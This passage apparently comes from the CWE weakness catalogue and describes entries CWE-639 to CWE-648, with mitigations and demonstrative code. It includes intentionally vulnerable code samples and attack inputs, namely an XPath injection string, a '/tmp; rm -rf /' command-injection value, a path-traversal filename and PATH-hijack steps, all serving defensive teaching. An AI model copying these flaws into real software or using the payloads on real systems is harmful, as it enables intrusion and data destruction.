Example 1:

When executable library files are used on web servers, which is common in PHP applications, the developer might perform an access check in any user-facing executable, and omit the access check from the library file itself. By directly requesting the library file (CWE-425), an attacker can bypass this access check.

Example 2:

When a developer begins to implement input validation for a web application, often the validation is performed in each area of the code that uses externally-controlled input. In complex applications with many inputs, the developer often misses a parameter here or a cookie there. One frequently-applied solution is to centralize all input validation, store these validated inputs in a separate data structure, and require that all access of those inputs must be through that data structure. An alternate approach would be to use an external input validation framework such as Struts, which performs the validation before the inputs are ever processed by the code.

Observed Examples

Reference	Description
CVE-2007-0408	Server does not properly validate client certificates when reusing cached connections. *https://www.cve.org/CVERecord?id=CVE-2007-0408*

CWE-639: Authorization Bypass Through User-Controlled Key

Weakness ID : 639
Structure : Simple
Abstraction : Base

Description

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

Extended Description

Retrieval of a user record occurs in the system based on some key value that is under user control. The key would typically identify a user-related record stored in the system and would be used to lookup that record for presentation to the user. It is likely that an attacker would have to be an authenticated user in the system. However, the authorization process would not properly check the data access operation to ensure that the authenticated user performing the operation has sufficient entitlements to perform the requested data access, hence bypassing any other authorization checks present in the system.

For example, attackers can look at places where user specific data is retrieved (e.g. search screens) and determine whether the key for the item being looked up is controllable externally. The key may be a hidden field in the HTML form field, might be passed as a URL parameter or as an unencrypted cookie variable, then in each of these cases it will be possible to tamper with the key value.

One manifestation of this weakness is when a system uses sequential or otherwise easily-guessable session IDs that would allow one user to easily switch to another user's session and read/modify their data.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Nature	Type	ID	Name	Page
MemberOf	C	1212	Authorization Errors	2513
MemberOf	C	840	Business Logic Errors	2397

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Alternate Terms

Insecure Direct Object Reference / IDOR : The "Insecure Direct Object Reference" term, as described in the OWASP Top Ten, is broader than this CWE because it also covers path traversal (CWE-22). Within the context of vulnerability theory, there is a similarity between the OWASP concept and CWE-706: Use of Incorrectly-Resolved Name or Reference.

Broken Object Level Authorization / BOLA : BOLA is used in the 2019 OWASP API Security Top 10 and is said to be the same as IDOR.

Horizontal Authorization : "Horizontal Authorization" is used to describe situations in which two users have the same privilege level, but must be prevented from accessing each other's resources. This is fairly common when using key-based access to resources in a multi-user context.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *Access control checks for specific user data or functionality can be bypassed.*	
Access Control	Gain Privileges or Assume Identity *Horizontal escalation of privilege is possible (one user can view/modify information of another user).*	
Access Control	Gain Privileges or Assume Identity *Vertical escalation of privilege is possible if the user-controlled key is actually a flag that indicates administrator status, allowing the attacker to gain administrative access.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Phase: Architecture and Design

Phase: Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Phase: Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

Demonstrative Examples

Example 1:

The following code uses a parameterized statement, which escapes metacharacters and prevents SQL injection vulnerabilities, to construct and execute a SQL query that searches for an invoice matching the specified identifier [1]. The identifier is selected from a list of all invoices associated with the current authenticated user.

Example Language: C# *(Bad)*

```
...
conn = new SqlConnection(_ConnectionString);
conn.Open();
int16 id = System.Convert.ToInt16(invoiceID.Text);
SqlCommand query = new SqlCommand( "SELECT * FROM invoices WHERE id = @id", conn);
query.Parameters.AddWithValue("@id", id);
SqlDataReader objReader = objCommand.ExecuteReader();
...
```

The problem is that the developer has not considered all of the possible values of id. Although the interface generates a list of invoice identifiers that belong to the current user, an attacker can bypass this interface to request any desired invoice. Because the code in this example does not check to ensure that the user has permission to access the requested invoice, it will display any invoice, even if it does not belong to the current user.

Observed Examples

Reference	Description
CVE-2021-36539	An educational application does not appropriately restrict file IDs to a particular user. The attacker can brute-force guess IDs, indicating IDOR. *https://www.cve.org/CVERecord?id=CVE-2021-36539*

CWE-640: Weak Password Recovery Mechanism for Forgotten Password

Weakness ID : 640
Structure : Simple
Abstraction : Base

Description

The product contains a mechanism for users to recover or change their passwords without knowing the original password, but the mechanism is weak.

Extended Description

It is common for an application to have a mechanism that provides a means for a user to gain access to their account in the event they forget their password. Very often the password recovery mechanism is weak, which has the effect of making it more likely that it would be possible for a person other than the legitimate system user to gain access to that user's account. Weak password recovery schemes completely undermine a strong password authentication scheme.

This weakness may be that the security question is too easy to guess or find an answer to (e.g. because the question is too common, or the answers can be found using social media). Or there might be an implementation weakness in the password recovery mechanism code that may for instance trick the system into e-mailing the new password to an e-mail account other than that of the user. There might be no throttling done on the rate of password resets so that a legitimate user can be denied service by an attacker if an attacker tries to recover their password in a rapid succession. The system may send the original password to the user rather than generating a new temporary password. In summary, password recovery functionality, if not carefully designed and implemented can often become the system's weakest link that can be misused in a way that would allow an attacker to gain unauthorized access to the system.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	255	Credentials Management Errors	2352
MemberOf	C	840	Business Logic Errors	2397

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *An attacker could gain unauthorized access to the system by retrieving legitimate user's authentication credentials.*	
Availability	DoS: Resource Consumption (Other) *An attacker could deny service to legitimate system users by launching a brute force attack on the password recovery mechanism using user ids of legitimate users.*	
Integrity Other	Other *The system's security functionality is turned against the system by the attacker.*	

Potential Mitigations

Phase: Architecture and Design

Make sure that all input supplied by the user to the password recovery mechanism is thoroughly filtered and validated.

Phase: Architecture and Design

Do not use standard weak security questions and use several security questions.

Phase: Architecture and Design

Make sure that there is throttling on the number of incorrect answers to a security question. Disable the password recovery functionality after a certain (small) number of incorrect guesses.

Phase: Architecture and Design

Require that the user properly answers the security question prior to resetting their password and sending the new password to the e-mail address of record.

Phase: Architecture and Design

Never allow the user to control what e-mail address the new password will be sent to in the password recovery mechanism.

Phase: Architecture and Design

Assign a new temporary password rather than revealing the original password.

Demonstrative Examples

Example 1:

A famous example of this type of weakness being exploited is the eBay attack. eBay always displays the user id of the highest bidder. In the final minutes of the auction, one of the bidders could try to log in as the highest bidder three times. After three incorrect log in attempts, eBay password throttling would kick in and lock out the highest bidder's account for some time. An attacker could then make their own bid and their victim would not have a chance to place the counter bid because they would be locked out. Thus an attacker could win the auction.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2556

Notes

Maintenance

This entry might be reclassified as a category or "loose composite," since it lists multiple specific errors that can make the mechanism weak. However, under view 1000, it could be a weakness under protection mechanism failure, although it is different from most PMF issues since it is related to a feature that is designed to bypass a protection mechanism (specifically, the lack of knowledge of a password).

Maintenance

This entry probably needs to be split; see extended description.

CWE-641: Improper Restriction of Names for Files and Other Resources

Weakness ID : 641
Structure : Simple
Abstraction : Base

Description

The product constructs the name of a file or other resource using input from an upstream component, but it does not restrict or incorrectly restricts the resulting name.

Extended Description

This may produce resultant weaknesses. For instance, if the names of these resources contain scripting characters, it is possible that a script may get executed in the client's browser if the application ever displays the name of the resource on a dynamically generated web page. Alternately, if the resources are consumed by some application parser, a specially crafted name can exploit some vulnerability internal to the parser, potentially resulting in execution of arbitrary code on the server machine. The problems will vary based on the context of usage of such malformed resource names and whether vulnerabilities are present in or assumptions are made by the targeted technology that would make code execution possible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

MemberOf	C	137	Data Neutralization Issues	2348
MemberOf	C	399	Resource Management Errors	2361

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *Execution of arbitrary code in the context of usage of the resources with dangerous names.*	
Confidentiality Availability	Read Application Data DoS: Crash, Exit, or Restart *Crash of the consumer code of these resources resulting in information leakage or denial of service.*	

Potential Mitigations

Phase: Architecture and Design

Do not allow users to control names of resources used on the server side.

Phase: Architecture and Design

Perform allowlist input validation at entry points and also before consuming the resources. Reject bad file names rather than trying to cleanse them.

Phase: Architecture and Design

Make sure that technologies consuming the resources are not vulnerable (e.g. buffer overflow, format string, etc.) in a way that would allow code execution if the name of the resource is malformed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-642: External Control of Critical State Data

Weakness ID : 642
Structure : Simple
Abstraction : Class

Description

The product stores security-critical state information about its users, or the product itself, in a location that is accessible to unauthorized actors.

Extended Description

If an attacker can modify the state information without detection, then it could be used to perform unauthorized actions or access unexpected resources, since the application programmer does not expect that the state can be changed.

State information can be stored in various locations such as a cookie, in a hidden web form field, input parameter or argument, an environment variable, a database record, within a settings file, etc. All of these locations have the potential to be modified by an attacker. When this state information is used to control security or determine resource usage, then it may create a vulnerability. For example, an application may perform authentication, then save the state in an "authenticated=true" cookie. An attacker may simply create this cookie in order to bypass the authentication.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *An attacker could potentially modify the state in malicious ways. If the state is related to the privileges or level of authentication that the user has, then state modification might allow the user to bypass authentication or elevate privileges.*	
Confidentiality	Read Application Data *The state variables may contain sensitive information that should not be known by the client.*	
Availability	DoS: Crash, Exit, or Restart *By modifying state variables, the attacker could violate the application's expectations for the contents of the state, leading to a denial of service due to an unexpected error condition.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Understand all the potential locations that are accessible to attackers. For example, some programmers assume that cookies and hidden form fields cannot be modified by an attacker, or

they may not consider that environment variables can be modified before a privileged program is invoked.

Phase: Architecture and Design

Strategy = Attack Surface Reduction

Store state information and sensitive data on the server side only. Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions. If information must be stored on the client, do not do so without encryption and integrity checking, or otherwise having a mechanism on the server side to catch tampering. Use a message authentication code (MAC) algorithm, such as Hash Message Authentication Code (HMAC) [REF-529]. Apply this against the state or sensitive data that has to be exposed, which can guarantee the integrity of the data - i.e., that the data has not been modified. Ensure that a strong hash function is used (CWE-328).

Phase: Architecture and Design

Store state information on the server side only. Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. With a stateless protocol such as HTTP, use some frameworks can maintain the state for you. Examples include ASP.NET View State and the OWASP ESAPI Session Management feature. Be careful of language features that provide state support, since these might be provided as a convenience to the programmer and may not be considering security.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Operation

Phase: Implementation

Strategy = Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Demonstrative Examples

Example 1:

In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

Example Language: Java *(Bad)*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
   Cookie c = cookies[i];
   if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {
      authenticated = true;
   }
}
```

Example 2:

The following code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files (CWE-22).

Example Language: Java *(Bad)*

```
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
rFile.delete();
```

Example 3:

The following code uses input from a configuration file to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can change the configuration file, they can use the program to read any file on the system that ends with the extension .txt.

Example Language: Java *(Bad)*

```
fis = new FileInputStream(cfg.getProperty("sub")+".txt");
amt = fis.read(arr);
out.println(arr);
```

Example 4:

This program is intended to execute a command that lists the contents of a restricted directory, then performs other actions. Assume that it runs with setuid privileges in order to bypass the permissions check by the operating system.

Example Language: C *(Bad)*

```
#define DIR "/restricted/directory"
char cmd[500];
sprintf(cmd, "ls -l %480s", DIR);
/* Raise privileges to those needed for accessing DIR. */
RaisePrivileges(...);
system(cmd);
DropPrivileges(...);
```

```
...
```

This code may look harmless at first, since both the directory and the command are set to fixed values that the attacker can't control. The attacker can only see the contents for DIR, which is the intended program behavior. Finally, the programmer is also careful to limit the code that executes with raised privileges.

However, because the program does not modify the PATH environment variable, the following attack would work:

Example Language: *(Attack)*

- The user sets the PATH to reference a directory under the attacker's control, such as "/my/dir/".
- The attacker creates a malicious program called "ls", and puts that program in /my/dir
- The user executes the program.
- When system() is executed, the shell consults the PATH to find the ls program
- The program finds the attacker's malicious program, "/my/dir/ls". It doesn't find "/bin/ls" because PATH does not contain "/bin/".
- The program executes the attacker's malicious program with the raised privileges.

Example 5:

The following code segment implements a basic server that uses the "ls" program to perform a directory listing of the directory that is listed in the "HOMEDIR" environment variable. The code intends to allow the user to specify an alternate "LANG" environment variable. This causes "ls" to customize its output based on a given language, which is an important capability when supporting internationalization.

Example Language: Perl *(Bad)*

```
$ENV{"HOMEDIR"} = "/home/mydir/public/";
my $stream = AcceptUntrustedInputStream();
while (<$stream>) {
   chomp;
   if (/^ENV ([\w\_]+) (.*)/) {
      $ENV{$1} = $2;
   }
   elsif (/^QUIT/) { ... }
   elsif (/^LIST/) {
      open($fh, "/bin/ls -l $ENV{HOMEDIR}|");
      while (<$fh>) {
         SendOutput($stream, "FILEINFO: $_");
      }
      close($fh);
   }
}
```

The programmer takes care to call a specific "ls" program and sets the HOMEDIR to a fixed value. However, an attacker can use a command such as "ENV HOMEDIR /secret/directory" to specify an alternate directory, enabling a path traversal attack (CWE-22). At the same time, other attacks are enabled as well, such as OS command injection (CWE-78) by setting HOMEDIR to a value such as "/tmp; rm -rf /". In this case, the programmer never intends for HOMEDIR to be modified, so input validation for HOMEDIR is not the solution. A partial solution would be an allowlist that only allows the LANG variable to be specified in the ENV command. Alternately, assuming this is an authenticated user, the language could be stored in a local file so that no ENV command at all would be needed.

While this example may not appear realistic, this type of problem shows up in code fairly frequently. See CVE-1999-0073 in the observed examples for a real-world example with similar behaviors.

CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')

Weakness ID : 643
Structure : Simple
Abstraction : Base

Description

The product uses external input to dynamically construct an XPath expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.

Extended Description

The net effect is that the attacker will have control over the information selected from the XML database and may use that ability to control application flow, modify logic, retrieve unauthorized data, or bypass important checks (e.g. authentication).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page

ChildOf	P	943	Improper Neutralization of Special Elements in Data Query Logic	1864

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	2470

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *Controlling application flow (e.g. bypassing authentication).*	
Confidentiality	Read Application Data	

Scope	Impact	Likelihood
	The attacker could read restricted XML content.	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Use parameterized XPath queries (e.g. using XQuery). This will help ensure separation between data plane and control plane.

Phase: Implementation

Properly validate user input. Reject data where appropriate, filter where appropriate and escape where appropriate. Make sure input that will be used in XPath queries is safe in that context.

Demonstrative Examples

Example 1:

Consider the following simple XML document that stores authentication information and a snippet of Java code that uses XPath query to retrieve authentication information:

Example Language: XML *(Informative)*

```
<users>
  <user>
    <login>john</login>
    <password>abracadabra</password>
    <home_dir>/home/john</home_dir>
  </user>
  <user>
    <login>cbc</login>
    <password>1mgr8</password>
    <home_dir>/home/cbc</home_dir>
  </user>
</users>
```

The Java code used to retrieve the home directory based on the provided credentials is:

Example Language: Java *(Bad)*

```
XPath xpath = XPathFactory.newInstance().newXPath();
XPathExpression xlogin = xpath.compile("//users/user[login/text()='" + login.getUserName() + "' and password/text() = '" +
login.getPassword() + "']/home_dir/text()");
Document d = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new File("db.xml"));
String homedir = xlogin.evaluate(d);
```

Assume that user "john" wishes to leverage XPath Injection and login without a valid password. By providing a username "john" and password "' or ''='" the XPath expression now becomes

Example Language: *(Attack)*

```
//users/user[login/text()='john' or ''='' and password/text() = '' or ''='']/home_dir/text()
```

This lets user "john" login without a valid password, thus bypassing authentication.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax

Weakness ID : 644
Structure : Simple
Abstraction : Variant

Description

The product does not neutralize or incorrectly neutralizes web scripting syntax in HTTP headers that can be used by web browser components that can process raw headers, such as Flash.

Extended Description

An attacker may be able to conduct cross-site scripting and other attacks against users who have these components enabled.

If a product does not neutralize user controlled data being placed in the header of an HTTP response coming from the server, the header may contain a script that will get executed in the client's browser context, potentially resulting in a cross site scripting vulnerability or possibly an HTTP response splitting attack. It is important to carefully control data that is being placed both in HTTP response header and in the HTTP response body to ensure that no scripting syntax is present, taking various encodings into account.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	116	Improper Encoding or Escaping of Output	287

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *Run arbitrary code.*	
Confidentiality	Read Application Data *Attackers may be able to obtain sensitive information.*	

Potential Mitigations

Phase: Architecture and Design

Perform output validation in order to filter/escape/encode unsafe data that is being passed from the server in an HTTP response header.

Phase: Architecture and Design

Disable script execution functionality in the clients' browser.

Demonstrative Examples

Example 1:

In the following Java example, user-controlled data is added to the HTTP headers and returned to the client. Given that the data is not subject to neutralization, a malicious user may be able to inject dangerous scripting tags that will lead to script execution in the client browser.

Example Language: Java *(Bad)*

```
response.addHeader(HEADER_NAME, untrustedRawInputData);
```

Observed Examples

Reference	Description
CVE-2006-3918	Web server does not remove the Expect header from an HTTP request when it is reflected back in an error message, allowing a Flash SWF file to perform XSS attacks. *https://www.cve.org/CVERecord?id=CVE-2006-3918*

CWE-645: Overly Restrictive Account Lockout Mechanism

Weakness ID : 645
Structure : Simple
Abstraction : Base

Description

The product contains an account lockout protection mechanism, but the mechanism is too restrictive and can be triggered too easily, which allows attackers to deny service to legitimate users by causing their accounts to be locked out.

Extended Description

Account lockout is a security feature often present in applications as a countermeasure to the brute force attack on the password based authentication mechanism of the system. After a certain number of failed login attempts, the users' account may be disabled for a certain period of time or until it is unlocked by an administrator. Other security events may also possibly trigger account lockout. However, an attacker may use this very security feature to deny service to legitimate system users. It is therefore important to ensure that the account lockout security mechanism is not overly restrictive.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	287	Improper Authentication	700

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1017	Lock Computer	2468

Nature	Type	ID	Name	Page
MemberOf	C	1211	Authentication Errors	2512
MemberOf	C	1216	Lockout Mechanism Errors	2516

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other) *Users could be locked out of accounts.*	

Potential Mitigations

Phase: Architecture and Design

Implement more intelligent password throttling mechanisms such as those which take IP address into account, in addition to the login name.

Phase: Architecture and Design

Implement a lockout timeout that grows as the number of incorrect login attempts goes up, eventually resulting in a complete lockout.

Phase: Architecture and Design

Consider alternatives to account lockout that would still be effective against password brute force attacks, such as presenting the user machine with a puzzle to solve (makes it do some computation).

Demonstrative Examples

Example 1:

A famous example of this type of weakness being exploited is the eBay attack. eBay always displays the user id of the highest bidder. In the final minutes of the auction, one of the bidders could try to log in as the highest bidder three times. After three incorrect log in attempts, eBay password throttling would kick in and lock out the highest bidder's account for some time. An attacker could then make their own bid and their victim would not have a chance to place the counter bid because they would be locked out. Thus an attacker could win the auction.

MemberOf Relationships

CAPEC-ID	Attack Pattern Name
2	Inducing Account Lockout

CWE-646: Reliance on File Name or Extension of Externally-Supplied File

Weakness ID : 646
Structure : Simple
Abstraction : Variant

Description

The product allows a file to be uploaded, but it relies on the file name or extension of the file to determine the appropriate behaviors. This could be used by attackers to cause the file to be misclassified and processed in a dangerous fashion.

Extended Description

An application might use the file name or extension of a user-supplied file to determine the proper course of action, such as selecting the correct process to which control should be passed, deciding what data should be made available, or what resources should be allocated. If the attacker can cause the code to misclassify the supplied file, then the wrong action could occur. For example, an attacker could supply a file that ends in a ".php.gif" extension that appears to be a GIF image, but would be processed as PHP code. In extreme cases, code execution is possible, but the attacker could also cause exhaustion of resources, denial of service, exposure of debug or system data (including application source code), or being bound to a particular server side process. This weakness may be due to a vulnerability in any of the technologies used by the web and application servers, due to misconfiguration, or resultant from another flaw in the application itself.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
209	XSS Using MIME Type Mismatch

CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions

Weakness ID : 647
Structure : Simple
Abstraction : Variant

Description

The product defines policy namespaces and makes authorization decisions based on the assumption that a URL is canonical. This can allow a non-canonical URL to bypass the authorization.

Extended Description

If an application defines policy namespaces and makes authorization decisions based on the URL, but it does not require or convert to a canonical URL before making the authorization decision, then it opens the application to attack. For example, if the application only wants to allow access to http://www.example.com/mypage, then the attacker might be able to bypass this restriction using equivalent URLs such as:

- http://WWW.EXAMPLE.COM/mypage
- http://www.example.com/%6Dypage (alternate encoding)
- http://192.168.1.1/mypage (IP address)
- http://www.example.com/mypage/ (trailing /)
- http://www.example.com:80/mypage

Therefore it is important to specify access control policy that is based on the path information in some canonical form with all alternate encodings rejected (which can be accomplished by a default deny rule).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Web Server *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *An attacker may be able to bypass the authorization mechanism to gain access to the otherwise-protected URL.*	
Confidentiality	Read Files or Directories *If a non-canonical URL is used, the server may choose to return the contents of the file, instead of pre-processing the file (e.g. as a program).*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Make access control policy based on path information in canonical form. Use very restrictive regular expressions to validate that the path is in the expected form.

Phase: Architecture and Design

Reject all alternate path encodings that are not in the expected canonical form.

Demonstrative Examples

Example 1:

Example from CAPEC (CAPEC ID: 4, "Using Alternative IP Address Encodings"). An attacker identifies an application server that applies a security policy based on the domain and application name, so the access control policy covers authentication and authorization for anyone accessing http://example.domain:8080/application. However, by putting in the IP address of the host the application authentication and authorization controls may be bypassed http://192.168.0.1:8080/application. The attacker relies on the victim applying policy to the namespace abstraction and not having a default deny policy in place to manage exceptions.

CWE-648: Incorrect Use of Privileged APIs

Weakness ID : 648
Structure : Simple
Abstraction : Base

Description

The product does not conform to the API requirements for a function call that requires extra privileges. This could allow attackers to gain privileges by causing the function to be called incorrectly.

Extended Description

When a product contains certain functions that perform operations requiring an elevated level of privilege, the caller of a privileged API must be careful to:

- ensure that assumptions made by the APIs are valid, such as validity of arguments
- account for known weaknesses in the design/implementation of the API
- call the API from a safe context

If the caller of the API does not follow these requirements, then it may allow a malicious user or process to elevate their privilege, hijack the process, or steal sensitive data.

For instance, it is important to know if privileged APIs do not shed their privileges before returning to the caller or if the privileged function might make certain assumptions about the data, context or state information passed to it by the caller. It is important to always know when and how privileged APIs can be called in order to ensure that their elevated level of privilege cannot be exploited.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Scope	Impact	Likelihood
	An attacker may be able to elevate privileges.	
Confidentiality	Read Application Data *An attacker may be able to obtain sensitive information.*	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *An attacker may be able to execute code.*	

Potential Mitigations

Phase: Implementation

Before calling privileged APIs, always ensure that the assumptions made by the privileged code hold true prior to making the call.

Phase: Architecture and Design

Know architecture and implementation weaknesses of the privileged APIs and make sure to account for these weaknesses before calling the privileged APIs to ensure that they can be called safely.

Phase: Implementation

If privileged APIs make certain assumptions about data, context or state validity that are passed by the caller, the calling code must ensure that these assumptions have been validated prior to making the call.

Phase: Implementation

If privileged APIs do not shed their privilege prior to returning to the calling code, then calling code needs to shed these privileges immediately and safely right after the call to the privileged APIs. In particular, the calling code needs to ensure that a privileged thread of execution will never be returned to the user or made available to user-controlled processes.

